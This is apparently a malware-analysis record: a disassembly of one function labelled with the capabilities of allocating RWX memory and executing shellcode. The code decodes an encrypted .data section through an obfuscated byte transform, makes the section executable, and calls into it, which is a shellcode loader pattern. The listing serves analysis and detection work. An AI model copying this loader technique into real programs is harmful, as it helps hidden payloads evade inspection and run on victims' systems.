Function at 0x10002f40
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x24
mov dword [ebp - 0x14], 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [esp], eax
mov dword [esp + 4], 1
mov dword [esp + 8], 0xbebc200
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
sub esp, 0xc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x10003246
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov dword [esp + 4], 0xde
mov dword [esp + 8], 0xbebc200
call sub.MSVCRT.dll_memset
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x18], 0
cmp dword [ebp - 0x18], 0x13c2
jae 0x10003215
xor eax, eax
mov ecx, dword [ebp - 0x18]
mov dl, byte [ecx + section..data]
mov byte [ebp - 0x19], dl
movzx ecx, byte [ebp - 0x19]
mov ebx, eax
sub ebx, ecx
mov byte [ebp - 0x19], bl
mov ecx, dword [ebp - 0x18]
movzx esi, byte [ebp - 0x19]
mov edx, esi
sub edx, ecx
mov byte [ebp - 0x19], dl
movzx ecx, byte [ebp - 0x19]
mov edx, eax
sub edx, ecx
mov byte [ebp - 0x19], dl
movzx ecx, byte [ebp - 0x19]
add ecx, 0xa2
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
mov ecx, esi
xor ecx, 0x62
mov byte [ebp - 0x19], cl
mov esi, dword [ebp - 0x18]
movzx edi, byte [ebp - 0x19]
mov ecx, edi
sub ecx, esi
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
mov ecx, eax
sub ecx, esi
mov byte [ebp - 0x19], cl
mov esi, dword [ebp - 0x18]
movzx edi, byte [ebp - 0x19]
mov ecx, edi
xor ecx, esi
mov byte [ebp - 0x19], cl
mov esi, dword [ebp - 0x18]
movzx edi, byte [ebp - 0x19]
mov ecx, edi
sub ecx, esi
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
sar esi, 6
movzx edi, byte [ebp - 0x19]
shl edi, 2
mov ecx, esi
or ecx, edi
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
mov ecx, esi
xor ecx, 0xffffffff
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
sar esi, 3
movzx edi, byte [ebp - 0x19]
shl edi, 5
mov ecx, esi
or ecx, edi
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
mov ecx, esi
xor ecx, 0xa2
mov byte [ebp - 0x19], cl
mov esi, dword [ebp - 0x18]
movzx edi, byte [ebp - 0x19]
mov ecx, edi
add ecx, esi
mov byte [ebp - 0x19], cl
mov esi, dword [ebp - 0x18]
movzx edi, byte [ebp - 0x19]
mov ecx, edi
xor ecx, esi
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
sar esi, 6
movzx edi, byte [ebp - 0x19]
shl edi, 2
mov ecx, esi
or ecx, edi
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
mov ecx, eax
sub ecx, esi
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
mov ecx, esi
xor ecx, 0xffffffff
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
mov ecx, eax
sub ecx, esi
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
mov ecx, esi
sub ecx, 0x6d
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
mov ecx, esi
xor ecx, 0xcd
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
mov ecx, esi
xor ecx, 0xffffffff
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
sar esi, 5
movzx edi, byte [ebp - 0x19]
shl edi, 3
mov ecx, esi
or ecx, edi
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
mov ecx, esi
xor ecx, 0xffffffff
mov byte [ebp - 0x19], cl
mov esi, dword [ebp - 0x18]
movzx edi, byte [ebp - 0x19]
mov ecx, edi
sub ecx, esi
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
mov ecx, esi
xor ecx, 0x24
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
mov ecx, esi
sub ecx, 0x76
mov byte [ebp - 0x19], cl
mov esi, dword [ebp - 0x18]
movzx edi, byte [ebp - 0x19]
mov ecx, edi
xor ecx, esi
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
mov ecx, esi
xor ecx, 0xffffffff
mov byte [ebp - 0x19], cl
mov esi, dword [ebp - 0x18]
movzx edi, byte [ebp - 0x19]
mov ecx, edi
add ecx, esi
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
mov ecx, eax
sub ecx, esi
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
sar esi, 2
movzx edi, byte [ebp - 0x19]
shl edi, 6
mov ecx, esi
or ecx, edi
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
mov ecx, esi
xor ecx, 0xffffffff
mov byte [ebp - 0x19], cl
mov esi, dword [ebp - 0x18]
movzx edi, byte [ebp - 0x19]
mov ecx, edi
add ecx, esi
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
sar esi, 5
movzx edi, byte [ebp - 0x19]
shl edi, 3
mov ecx, esi
or ecx, edi
mov byte [ebp - 0x19], cl
mov esi, dword [ebp - 0x18]
movzx edi, byte [ebp - 0x19]
mov ecx, edi
sub ecx, esi
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
sar esi, 5
movzx edi, byte [ebp - 0x19]
shl edi, 3
mov ecx, esi
or ecx, edi
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
mov ecx, esi
add ecx, 0xe4
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
mov ecx, esi
xor ecx, 0xffffffff
mov byte [ebp - 0x19], cl
movzx esi, byte [ebp - 0x19]
sub eax, esi
mov byte [ebp - 0x19], al
mov al, byte [ebp - 0x19]
mov esi, dword [ebp - 0x18]
mov byte [esi + section..data], al
mov eax, dword [ebp - 0x18]
add eax, 1
mov dword [ebp - 0x18], eax
jmp 0x10002fa8
lea eax, section..data
mov dword [esp], eax
mov dword [esp + 4], 0x13c2
mov dword [esp + 8], 0x40
lea eax, [ebp - 0x10]
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
mov dword [ebp - 0x20], eax
call section..data
xor eax, eax
add esp, 0x24
pop esi
pop edi
pop ebx
pop ebp
ret